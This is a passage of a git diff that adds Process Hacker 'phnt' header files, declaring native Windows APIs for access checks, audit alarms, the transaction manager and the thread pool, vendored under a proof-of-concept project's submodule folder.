ReturnLength + ); +#endif + +// Access checking + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAccessCheck( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ HANDLE ClientToken, + _In_ ACCESS_MASK DesiredAccess, + _In_ PGENERIC_MAPPING GenericMapping, + _Out_writes_bytes_(*PrivilegeSetLength) PPRIVILEGE_SET PrivilegeSet, + _Inout_ PULONG PrivilegeSetLength, + _Out_ PACCESS_MASK GrantedAccess, + _Out_ PNTSTATUS AccessStatus + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAccessCheckByType( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_opt_ PSID PrincipalSelfSid, + _In_ HANDLE ClientToken, + _In_ ACCESS_MASK DesiredAccess, + _In_reads_(ObjectTypeListLength) POBJECT_TYPE_LIST ObjectTypeList, + _In_ ULONG ObjectTypeListLength, + _In_ PGENERIC_MAPPING GenericMapping, + _Out_writes_bytes_(*PrivilegeSetLength) PPRIVILEGE_SET PrivilegeSet, + _Inout_ PULONG PrivilegeSetLength, + _Out_ PACCESS_MASK GrantedAccess, + _Out_ PNTSTATUS AccessStatus + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAccessCheckByTypeResultList( + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_opt_ PSID PrincipalSelfSid, + _In_ HANDLE ClientToken, + _In_ ACCESS_MASK DesiredAccess, + _In_reads_(ObjectTypeListLength) POBJECT_TYPE_LIST ObjectTypeList, + _In_ ULONG ObjectTypeListLength, + _In_ PGENERIC_MAPPING GenericMapping, + _Out_writes_bytes_(*PrivilegeSetLength) PPRIVILEGE_SET PrivilegeSet, + _Inout_ PULONG PrivilegeSetLength, + _Out_writes_(ObjectTypeListLength) PACCESS_MASK GrantedAccess, + _Out_writes_(ObjectTypeListLength) PNTSTATUS AccessStatus + ); + +// Signing + +#if (PHNT_VERSION >= PHNT_THRESHOLD) + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetCachedSigningLevel( + _In_ ULONG Flags, + _In_ SE_SIGNING_LEVEL InputSigningLevel, + _In_reads_(SourceFileCount) PHANDLE SourceFiles, + _In_ ULONG SourceFileCount, + _In_opt_ HANDLE TargetFile + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtGetCachedSigningLevel( + _In_ HANDLE File, + _Out_ PULONG Flags, + _Out_ PSE_SIGNING_LEVEL SigningLevel, + _Out_writes_bytes_to_opt_(*ThumbprintSize, *ThumbprintSize) PUCHAR Thumbprint, + _Inout_opt_ PULONG ThumbprintSize, + _Out_opt_ PULONG ThumbprintAlgorithm + ); + +#endif + +// Audit alarm + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAccessCheckAndAuditAlarm( + _In_ PUNICODE_STRING SubsystemName, + _In_opt_ PVOID HandleId, + _In_ PUNICODE_STRING ObjectTypeName, + _In_ PUNICODE_STRING ObjectName, + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ ACCESS_MASK DesiredAccess, + _In_ PGENERIC_MAPPING GenericMapping, + _In_ BOOLEAN ObjectCreation, + _Out_ PACCESS_MASK GrantedAccess, + _Out_ PNTSTATUS AccessStatus, + _Out_ PBOOLEAN GenerateOnClose + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAccessCheckByTypeAndAuditAlarm( + _In_ PUNICODE_STRING SubsystemName, + _In_opt_ PVOID HandleId, + _In_ PUNICODE_STRING ObjectTypeName, + _In_ PUNICODE_STRING ObjectName, + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_opt_ PSID PrincipalSelfSid, + _In_ ACCESS_MASK DesiredAccess, + _In_ AUDIT_EVENT_TYPE AuditType, + _In_ ULONG Flags, + _In_reads_opt_(ObjectTypeListLength) POBJECT_TYPE_LIST ObjectTypeList, + _In_ ULONG ObjectTypeListLength, + _In_ PGENERIC_MAPPING GenericMapping, + _In_ BOOLEAN ObjectCreation, + _Out_ PACCESS_MASK GrantedAccess, + _Out_ PNTSTATUS AccessStatus, + _Out_ PBOOLEAN GenerateOnClose + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAccessCheckByTypeResultListAndAuditAlarm( + _In_ PUNICODE_STRING SubsystemName, + _In_opt_ PVOID HandleId, + _In_ PUNICODE_STRING ObjectTypeName, + _In_ PUNICODE_STRING ObjectName, + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_opt_ PSID PrincipalSelfSid, + _In_ ACCESS_MASK DesiredAccess, + _In_ AUDIT_EVENT_TYPE AuditType, + _In_ ULONG Flags, + _In_reads_opt_(ObjectTypeListLength) POBJECT_TYPE_LIST ObjectTypeList, + _In_ ULONG ObjectTypeListLength, + _In_ PGENERIC_MAPPING GenericMapping, + _In_ BOOLEAN ObjectCreation, + _Out_writes_(ObjectTypeListLength) PACCESS_MASK GrantedAccess, + _Out_writes_(ObjectTypeListLength) PNTSTATUS AccessStatus, + _Out_ PBOOLEAN GenerateOnClose + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtAccessCheckByTypeResultListAndAuditAlarmByHandle( + _In_ PUNICODE_STRING SubsystemName, + _In_opt_ PVOID HandleId, + _In_ HANDLE ClientToken, + _In_ PUNICODE_STRING ObjectTypeName, + _In_ PUNICODE_STRING ObjectName, + _In_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_opt_ PSID PrincipalSelfSid, + _In_ ACCESS_MASK DesiredAccess, + _In_ AUDIT_EVENT_TYPE AuditType, + _In_ ULONG Flags, + _In_reads_opt_(ObjectTypeListLength) POBJECT_TYPE_LIST ObjectTypeList, + _In_ ULONG ObjectTypeListLength, + _In_ PGENERIC_MAPPING GenericMapping, + _In_ BOOLEAN ObjectCreation, + _Out_writes_(ObjectTypeListLength) PACCESS_MASK GrantedAccess, + _Out_writes_(ObjectTypeListLength) PNTSTATUS AccessStatus, + _Out_ PBOOLEAN GenerateOnClose + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenObjectAuditAlarm( + _In_ PUNICODE_STRING SubsystemName, + _In_opt_ PVOID HandleId, + _In_ PUNICODE_STRING ObjectTypeName, + _In_ PUNICODE_STRING ObjectName, + _In_opt_ PSECURITY_DESCRIPTOR SecurityDescriptor, + _In_ HANDLE ClientToken, + _In_ ACCESS_MASK DesiredAccess, + _In_ ACCESS_MASK GrantedAccess, + _In_opt_ PPRIVILEGE_SET Privileges, + _In_ BOOLEAN ObjectCreation, + _In_ BOOLEAN AccessGranted, + _Out_ PBOOLEAN GenerateOnClose + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtPrivilegeObjectAuditAlarm( + _In_ PUNICODE_STRING SubsystemName, + _In_opt_ PVOID HandleId, + _In_ HANDLE ClientToken, + _In_ ACCESS_MASK DesiredAccess, + _In_ PPRIVILEGE_SET Privileges, + _In_ BOOLEAN AccessGranted + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCloseObjectAuditAlarm( + _In_ PUNICODE_STRING SubsystemName, + _In_opt_ PVOID HandleId, + _In_ BOOLEAN GenerateOnClose + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtDeleteObjectAuditAlarm( + _In_ PUNICODE_STRING SubsystemName, + _In_opt_ PVOID HandleId, + _In_ BOOLEAN GenerateOnClose + ); + +NTSYSCALLAPI +NTSTATUS +NTAPI +NtPrivilegedServiceAuditAlarm( + _In_ PUNICODE_STRING SubsystemName, + _In_ PUNICODE_STRING ServiceName, + _In_ HANDLE ClientToken, + _In_ PPRIVILEGE_SET Privileges, + _In_ BOOLEAN AccessGranted + ); + +#endif diff --git a/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntsmss.h b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntsmss.h new file mode 100644 index 00000000..3731e881 --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/ntsmss.h @@ -0,0 +1,33 @@ +/* + * This file is part of the Process Hacker project - https://processhacker.sourceforge.io/ + * + * You can redistribute this file and/or modify it under the terms of the + * Attribution 4.0 International (CC BY 4.0) license. + * + * You must give appropriate credit, provide a link to the license, and + * indicate if changes were made. You may do so in any reasonable manner, but + * not in any way that suggests the licensor endorses you or your use. + */ + +#ifndef _NTSMSS_H +#define _NTSMSS_H + +NTSYSAPI +NTSTATUS +NTAPI +RtlConnectToSm( + _In_ PUNICODE_STRING ApiPortName, + _In_ HANDLE ApiPortHandle, + _In_ DWORD ProcessImageType, + _Out_ PHANDLE SmssConnection + ); + +NTSYSAPI +NTSTATUS +NTAPI +RtlSendMsgToSm( + _In_ HANDLE ApiPortHandle, + _In_ PPORT_MESSAGE MessageData + ); + +#endif diff --git a/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/nttmapi.h b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/nttmapi.h new file mode 100644 index 00000000..52fa8534 --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/nttmapi.h @@ -0,0 +1,484 @@ +/* + * This file is part of the Process Hacker project - https://processhacker.sourceforge.io/ + * + * You can redistribute this file and/or modify it under the terms of the + * Attribution 4.0 International (CC BY 4.0) license. + * + * You must give appropriate credit, provide a link to the license, and + * indicate if changes were made. You may do so in any reasonable manner, but + * not in any way that suggests the licensor endorses you or your use. + */ + +#ifndef _NTTMAPI_H +#define _NTTMAPI_H + +#if (PHNT_VERSION >= PHNT_VISTA) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateTransactionManager( + _Out_ PHANDLE TmHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PUNICODE_STRING LogFileName, + _In_opt_ ULONG CreateOptions, + _In_opt_ ULONG CommitStrength + ); +#endif + +#if (PHNT_VERSION >= PHNT_VISTA) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenTransactionManager( + _Out_ PHANDLE TmHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ PUNICODE_STRING LogFileName, + _In_opt_ LPGUID TmIdentity, + _In_opt_ ULONG OpenOptions + ); +#endif + +#if (PHNT_VERSION >= PHNT_VISTA) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtRenameTransactionManager( + _In_ PUNICODE_STRING LogFileName, + _In_ LPGUID ExistingTransactionManagerGuid + ); +#endif + +#if (PHNT_VERSION >= PHNT_VISTA) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtRollforwardTransactionManager( + _In_ HANDLE TransactionManagerHandle, + _In_opt_ PLARGE_INTEGER TmVirtualClock + ); +#endif + +#if (PHNT_VERSION >= PHNT_VISTA) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtRecoverTransactionManager( + _In_ HANDLE TransactionManagerHandle + ); +#endif + +#if (PHNT_VERSION >= PHNT_VISTA) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryInformationTransactionManager( + _In_ HANDLE TransactionManagerHandle, + _In_ TRANSACTIONMANAGER_INFORMATION_CLASS TransactionManagerInformationClass, + _Out_writes_bytes_(TransactionManagerInformationLength) PVOID TransactionManagerInformation, + _In_ ULONG TransactionManagerInformationLength, + _Out_opt_ PULONG ReturnLength + ); +#endif + +#if (PHNT_VERSION >= PHNT_VISTA) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetInformationTransactionManager( + _In_opt_ HANDLE TmHandle, + _In_ TRANSACTIONMANAGER_INFORMATION_CLASS TransactionManagerInformationClass, + _In_reads_bytes_(TransactionManagerInformationLength) PVOID TransactionManagerInformation, + _In_ ULONG TransactionManagerInformationLength + ); +#endif + +#if (PHNT_VERSION >= PHNT_VISTA) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtEnumerateTransactionObject( + _In_opt_ HANDLE RootObjectHandle, + _In_ KTMOBJECT_TYPE QueryType, + _Inout_updates_bytes_(ObjectCursorLength) PKTMOBJECT_CURSOR ObjectCursor, + _In_ ULONG ObjectCursorLength, + _Out_ PULONG ReturnLength + ); +#endif + +#if (PHNT_VERSION >= PHNT_VISTA) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateTransaction( + _Out_ PHANDLE TransactionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ LPGUID Uow, + _In_opt_ HANDLE TmHandle, + _In_opt_ ULONG CreateOptions, + _In_opt_ ULONG IsolationLevel, + _In_opt_ ULONG IsolationFlags, + _In_opt_ PLARGE_INTEGER Timeout, + _In_opt_ PUNICODE_STRING Description + ); +#endif + +#if (PHNT_VERSION >= PHNT_VISTA) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenTransaction( + _Out_ PHANDLE TransactionHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_ LPGUID Uow, + _In_opt_ HANDLE TmHandle + ); +#endif + +#if (PHNT_VERSION >= PHNT_VISTA) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryInformationTransaction( + _In_ HANDLE TransactionHandle, + _In_ TRANSACTION_INFORMATION_CLASS TransactionInformationClass, + _Out_writes_bytes_(TransactionInformationLength) PVOID TransactionInformation, + _In_ ULONG TransactionInformationLength, + _Out_opt_ PULONG ReturnLength + ); +#endif + +#if (PHNT_VERSION >= PHNT_VISTA) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetInformationTransaction( + _In_ HANDLE TransactionHandle, + _In_ TRANSACTION_INFORMATION_CLASS TransactionInformationClass, + _In_reads_bytes_(TransactionInformationLength) PVOID TransactionInformation, + _In_ ULONG TransactionInformationLength + ); +#endif + +#if (PHNT_VERSION >= PHNT_VISTA) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCommitTransaction( + _In_ HANDLE TransactionHandle, + _In_ BOOLEAN Wait + ); +#endif + +#if (PHNT_VERSION >= PHNT_VISTA) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtRollbackTransaction( + _In_ HANDLE TransactionHandle, + _In_ BOOLEAN Wait + ); +#endif + +#if (PHNT_VERSION >= PHNT_VISTA) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateEnlistment( + _Out_ PHANDLE EnlistmentHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ HANDLE ResourceManagerHandle, + _In_ HANDLE TransactionHandle, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ ULONG CreateOptions, + _In_ NOTIFICATION_MASK NotificationMask, + _In_opt_ PVOID EnlistmentKey + ); +#endif + +#if (PHNT_VERSION >= PHNT_VISTA) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenEnlistment( + _Out_ PHANDLE EnlistmentHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ HANDLE ResourceManagerHandle, + _In_ LPGUID EnlistmentGuid, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes + ); +#endif + +#if (PHNT_VERSION >= PHNT_VISTA) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryInformationEnlistment( + _In_ HANDLE EnlistmentHandle, + _In_ ENLISTMENT_INFORMATION_CLASS EnlistmentInformationClass, + _Out_writes_bytes_(EnlistmentInformationLength) PVOID EnlistmentInformation, + _In_ ULONG EnlistmentInformationLength, + _Out_opt_ PULONG ReturnLength + ); +#endif + +#if (PHNT_VERSION >= PHNT_VISTA) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetInformationEnlistment( + _In_opt_ HANDLE EnlistmentHandle, + _In_ ENLISTMENT_INFORMATION_CLASS EnlistmentInformationClass, + _In_reads_bytes_(EnlistmentInformationLength) PVOID EnlistmentInformation, + _In_ ULONG EnlistmentInformationLength + ); +#endif + +#if (PHNT_VERSION >= PHNT_VISTA) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtRecoverEnlistment( + _In_ HANDLE EnlistmentHandle, + _In_opt_ PVOID EnlistmentKey + ); +#endif + +#if (PHNT_VERSION >= PHNT_VISTA) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtPrePrepareEnlistment( + _In_ HANDLE EnlistmentHandle, + _In_opt_ PLARGE_INTEGER TmVirtualClock + ); +#endif + +#if (PHNT_VERSION >= PHNT_VISTA) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtPrepareEnlistment( + _In_ HANDLE EnlistmentHandle, + _In_opt_ PLARGE_INTEGER TmVirtualClock + ); +#endif + +#if (PHNT_VERSION >= PHNT_VISTA) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCommitEnlistment( + _In_ HANDLE EnlistmentHandle, + _In_opt_ PLARGE_INTEGER TmVirtualClock + ); +#endif + +#if (PHNT_VERSION >= PHNT_VISTA) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtRollbackEnlistment( + _In_ HANDLE EnlistmentHandle, + _In_opt_ PLARGE_INTEGER TmVirtualClock + ); +#endif + +#if (PHNT_VERSION >= PHNT_VISTA) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtPrePrepareComplete( + _In_ HANDLE EnlistmentHandle, + _In_opt_ PLARGE_INTEGER TmVirtualClock + ); +#endif + +#if (PHNT_VERSION >= PHNT_VISTA) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtPrepareComplete( + _In_ HANDLE EnlistmentHandle, + _In_opt_ PLARGE_INTEGER TmVirtualClock + ); +#endif + +#if (PHNT_VERSION >= PHNT_VISTA) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCommitComplete( + _In_ HANDLE EnlistmentHandle, + _In_opt_ PLARGE_INTEGER TmVirtualClock + ); +#endif + +#if (PHNT_VERSION >= PHNT_VISTA) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtReadOnlyEnlistment( + _In_ HANDLE EnlistmentHandle, + _In_opt_ PLARGE_INTEGER TmVirtualClock + ); +#endif + +#if (PHNT_VERSION >= PHNT_VISTA) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtRollbackComplete( + _In_ HANDLE EnlistmentHandle, + _In_opt_ PLARGE_INTEGER TmVirtualClock + ); +#endif + +#if (PHNT_VERSION >= PHNT_VISTA) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSinglePhaseReject( + _In_ HANDLE EnlistmentHandle, + _In_opt_ PLARGE_INTEGER TmVirtualClock + ); +#endif + +#if (PHNT_VERSION >= PHNT_VISTA) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtCreateResourceManager( + _Out_ PHANDLE ResourceManagerHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ HANDLE TmHandle, + _In_ LPGUID RmGuid, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes, + _In_opt_ ULONG CreateOptions, + _In_opt_ PUNICODE_STRING Description + ); +#endif + +#if (PHNT_VERSION >= PHNT_VISTA) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtOpenResourceManager( + _Out_ PHANDLE ResourceManagerHandle, + _In_ ACCESS_MASK DesiredAccess, + _In_ HANDLE TmHandle, + _In_opt_ LPGUID ResourceManagerGuid, + _In_opt_ POBJECT_ATTRIBUTES ObjectAttributes + ); +#endif + +#if (PHNT_VERSION >= PHNT_VISTA) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtRecoverResourceManager( + _In_ HANDLE ResourceManagerHandle + ); +#endif + +#if (PHNT_VERSION >= PHNT_VISTA) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtGetNotificationResourceManager( + _In_ HANDLE ResourceManagerHandle, + _Out_ PTRANSACTION_NOTIFICATION TransactionNotification, + _In_ ULONG NotificationLength, + _In_opt_ PLARGE_INTEGER Timeout, + _Out_opt_ PULONG ReturnLength, + _In_ ULONG Asynchronous, + _In_opt_ ULONG_PTR AsynchronousContext + ); +#endif + +#if (PHNT_VERSION >= PHNT_VISTA) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtQueryInformationResourceManager( + _In_ HANDLE ResourceManagerHandle, + _In_ RESOURCEMANAGER_INFORMATION_CLASS ResourceManagerInformationClass, + _Out_writes_bytes_(ResourceManagerInformationLength) PVOID ResourceManagerInformation, + _In_ ULONG ResourceManagerInformationLength, + _Out_opt_ PULONG ReturnLength + ); +#endif + +#if (PHNT_VERSION >= PHNT_VISTA) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtSetInformationResourceManager( + _In_ HANDLE ResourceManagerHandle, + _In_ RESOURCEMANAGER_INFORMATION_CLASS ResourceManagerInformationClass, + _In_reads_bytes_(ResourceManagerInformationLength) PVOID ResourceManagerInformation, + _In_ ULONG ResourceManagerInformationLength + ); +#endif + +#if (PHNT_VERSION >= PHNT_VISTA) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtRegisterProtocolAddressInformation( + _In_ HANDLE ResourceManager, + _In_ PCRM_PROTOCOL_ID ProtocolId, + _In_ ULONG ProtocolInformationSize, + _In_ PVOID ProtocolInformation, + _In_opt_ ULONG CreateOptions + ); +#endif + +#if (PHNT_VERSION >= PHNT_VISTA) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtPropagationComplete( + _In_ HANDLE ResourceManagerHandle, + _In_ ULONG RequestCookie, + _In_ ULONG BufferLength, + _In_ PVOID Buffer + ); +#endif + +#if (PHNT_VERSION >= PHNT_VISTA) +NTSYSCALLAPI +NTSTATUS +NTAPI +NtPropagationFailed( + _In_ HANDLE ResourceManagerHandle, + _In_ ULONG RequestCookie, + _In_ NTSTATUS PropStatus + ); +#endif + +#if (PHNT_VERSION >= PHNT_VISTA) +// private +NTSYSCALLAPI +NTSTATUS +NTAPI +NtFreezeTransactions( + _In_ PLARGE_INTEGER FreezeTimeout, + _In_ PLARGE_INTEGER ThawTimeout + ); +#endif + +#if (PHNT_VERSION >= PHNT_VISTA) +// private +NTSYSCALLAPI +NTSTATUS +NTAPI +NtThawTransactions( + VOID + ); +#endif + +#endif diff --git a/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/nttp.h b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/nttp.h new file mode 100644 index 00000000..1c99a650 --- /dev/null +++ b/Win32/Proof of Concepts/herpaderping/ext/submodules/phnt/nttp.h @@ -0,0 +1,467 @@ +/* + * This file is part of the Process Hacker project - https://processhacker.sourceforge.io/ + * + * You can redistribute this file and/or modify it under the terms of the + * Attribution 4.0 International (CC BY 4.0) license. + * + * You must give appropriate credit, provide a link to the license, and + * indicate if changes were made. You may do so in any reasonable manner, but + * not in any way that suggests the licensor endorses you or your use. + */ + +#ifndef _NTTP_H +#define _NTTP_H + +// Some types are already defined in winnt.h. + +typedef struct _TP_ALPC TP_ALPC, *PTP_ALPC; + +// private +typedef VOID (NTAPI *PTP_ALPC_CALLBACK)( + _Inout_ PTP_CALLBACK_INSTANCE Instance, + _Inout_opt_ PVOID Context, + _In_ PTP_ALPC Alpc + ); + +// rev +typedef VOID (NTAPI *PTP_ALPC_CALLBACK_EX)( + _Inout_ PTP_CALLBACK_INSTANCE Instance, + _Inout_opt_ PVOID Context, + _In_ PTP_ALPC Alpc, + _In_ PVOID ApcContext + ); + +#if (PHNT_VERSION >= PHNT_VISTA) + +// private +_Check_return_ +NTSYSAPI +NTSTATUS +NTAPI +TpAllocPool( + _Out_ PTP_POOL *PoolReturn, + _Reserved_ PVOID Reserved + ); + +// winbase:CloseThreadpool +NTSYSAPI +VOID +NTAPI +TpReleasePool( + _Inout_ PTP_POOL Pool + ); + +// winbase:SetThreadpoolThreadMaximum +NTSYSAPI +VOID +NTAPI +TpSetPoolMaxThreads( + _Inout_ PTP_POOL Pool, + _In_ ULONG MaxThreads + ); + +// private +NTSYSAPI +NTSTATUS +NTAPI +TpSetPoolMinThreads( + _Inout_ PTP_POOL Pool, + _In_ ULONG MinThreads + ); + +#if (PHNT_VERSION >= PHNT_WIN7) +// rev +NTSYSAPI +NTSTATUS +NTAPI +TpQueryPoolStackInformation( + _In_ PTP_POOL Pool, + _Out_ PTP_POOL_STACK_INFORMATION PoolStackInformation + ); +#endif + +#if (PHNT_VERSION >= PHNT_WIN7) +// rev +NTSYSAPI +NTSTATUS +NTAPI +TpSetPoolStackInformation( + _Inout_ PTP_POOL Pool, + _In_ PTP_POOL_STACK_INFORMATION PoolStackInformation + ); +#endif + +// private +_Check_return_ +NTSYSAPI +NTSTATUS +NTAPI +TpAllocCleanupGroup( + _Out_ PTP_CLEANUP_GROUP *CleanupGroupReturn + ); + +// winbase:CloseThreadpoolCleanupGroup +NTSYSAPI +VOID +NTAPI +TpReleaseCleanupGroup( + _Inout_ PTP_CLEANUP_GROUP CleanupGroup + ); + +// winbase:CloseThreadpoolCleanupGroupMembers +NTSYSAPI +VOID +NTAPI +TpReleaseCleanupGroupMembers( + _Inout_ PTP_CLEANUP_GROUP CleanupGroup, + _In_ LOGICAL CancelPendingCallbacks, + _Inout_opt_ PVOID CleanupParameter + ); + +// winbase:SetEventWhenCallbackReturns +NTSYSAPI +VOID +NTAPI +TpCallbackSetEventOnCompletion( + _Inout_ PTP_CALLBACK_INSTANCE Instance, + _In_ HANDLE Event + ); + +// winbase:ReleaseSemaphoreWhenCallbackReturns +NTSYSAPI +VOID +NTAPI +TpCallbackReleaseSemaphoreOnCompletion( + _Inout_ PTP_CALLBACK_INSTANCE Instance, + _In_ HANDLE Semaphore, + _In_ ULONG ReleaseCount + ); + +// winbase:ReleaseMutexWhenCallbackReturns +NTSYSAPI +VOID +NTAPI +TpCallbackReleaseMutexOnCompletion( + _Inout_ PTP_CALLBACK_INSTANCE Instance, + _In_ HANDLE Mutex + ); + +// winbase:LeaveCriticalSectionWhenCallbackReturns +NTSYSAPI +VOID +NTAPI +TpCallbackLeaveCriticalSectionOnCompletion( + _Inout_ PTP_CALLBACK_INSTANCE Instance, + _Inout_ PRTL_CRITICAL_SECTION CriticalSection + ); + +// winbase:FreeLibraryWhenCallbackReturns +NTSYSAPI +VOID +NTAPI +TpCallbackUnloadDllOnCompletion( + _Inout_ PTP_CALLBACK_INSTANCE Instance, + _In_ PVOID DllHandle + ); + +// winbase:CallbackMayRunLong +NTSYSAPI +NTSTATUS +NTAPI +TpCallbackMayRunLong( + _Inout_ PTP_CALLBACK_INSTANCE Instance + ); + +// winbase:DisassociateCurrentThreadFromCallback +NTSYSAPI +VOID +NTAPI +TpDisassociateCallback( + _Inout_ PTP_CALLBACK_INSTANCE Instance + ); + +// winbase:TrySubmitThreadpoolCallback +_Check_return_ +NTSYSAPI +NTSTATUS +NTAPI +TpSimpleTryPost( + _In_ PTP_SIMPLE_CALLBACK Callback, + _Inout_opt_ PVOID Context, + _In_opt_ PTP_CALLBACK_ENVIRON CallbackEnviron + ); + +// private +_Check_return_ +NTSYSAPI +NTSTATUS +NTAPI +TpAllocWork( + _Out_ PTP_WORK *WorkReturn, + _In_ PTP_WORK_CALLBACK Callback, + _Inout_opt_ PVOID Context, + _In_opt_ PTP_CALLBACK_ENVIRON CallbackEnviron + ); + +// winbase:CloseThreadpoolWork +NTSYSAPI +VOID +NTAPI +TpReleaseWork( + _Inout_ PTP_WORK Work + ); + +// winbase:SubmitThreadpoolWork +NTSYSAPI +VOID +NTAPI +TpPostWork( + _Inout_ PTP_WORK Work + ); + +// winbase:WaitForThreadpoolWorkCallbacks +NTSYSAPI +VOID +NTAPI +TpWaitForWork( + _Inout_ PTP_WORK Work, + _In_ LOGICAL CancelPendingCallbacks + ); + +// private +_Check_return_ +NTSYSAPI +NTSTATUS +NTAPI +TpAllocTimer( + _Out_ PTP_TIMER *Timer, + _In_ PTP_TIMER_CALLBACK Callback, + _Inout_opt_ PVOID Context, + _In_opt_ PTP_CALLBACK_ENVIRON CallbackEnviron + ); + +// winbase:CloseThreadpoolTimer +NTSYSAPI +VOID +NTAPI +TpReleaseTimer( + _Inout_ PTP_TIMER Timer + ); + +// winbase:SetThreadpoolTimer +NTSYSAPI +VOID +NTAPI +TpSetTimer( + _Inout_ PTP_TIMER Timer, + _In_opt_ PLARGE_INTEGER DueTime, + _In_ ULONG Period, + _In_opt_ ULONG WindowLength + ); + +#if (PHNT_VERSION >= PHNT_WIN7) +// winbase:SetThreadpoolTimerEx +NTSYSAPI +NTSTATUS +NTAPI +TpSetTimerEx( + _Inout_ PTP_TIMER Timer, + _In_opt_ PLARGE_INTEGER DueTime, + _In_ ULONG Period, + _In_opt_ ULONG WindowLength + ); +#endif + +// winbase:IsThreadpoolTimerSet +NTSYSAPI +LOGICAL +NTAPI +TpIsTimerSet( + _In_ PTP_TIMER Timer + ); + +// winbase:WaitForThreadpoolTimerCallbacks +NTSYSAPI +VOID +NTAPI +TpWaitForTimer( + _Inout_ PTP_TIMER Timer, + _In_ LOGICAL CancelPendingCallbacks + ); + +// private +_Check_return_ +NTSYSAPI +NTSTATUS +NTAPI +TpAllocWait( + _Out_ PTP_WAIT *WaitReturn, + _In_ PTP_WAIT_CALLBACK Callback, + _Inout_opt_ PVOID Context, + _In_opt_ PTP_CALLBACK_ENVIRON CallbackEnviron + ); + +// winbase:CloseThreadpoolWait +NTSYSAPI +VOID +NTAPI +TpReleaseWait( + _Inout_ PTP_WAIT Wait + ); + +// winbase:SetThreadpoolWait +NTSYSAPI +VOID +NTAPI +TpSetWait( + _Inout_ PTP_WAIT Wait, + _In_opt_ HANDLE Handle, + _In_opt_ PLARGE_INTEGER Timeout + ); + +#if (PHNT_VERSION >= PHNT_WIN7) +// winbase:SetThreadpoolWaitEx +NTSYSAPI +NTSTATUS +NTAPI +TpSetWaitEx( + _Inout_ PTP_WAIT Wait, + _In_opt_ HANDLE Handle, + _In_opt_ PLARGE_INTEGER Timeout, + _In_opt_ PVOID Reserved + ); +#endif + +// 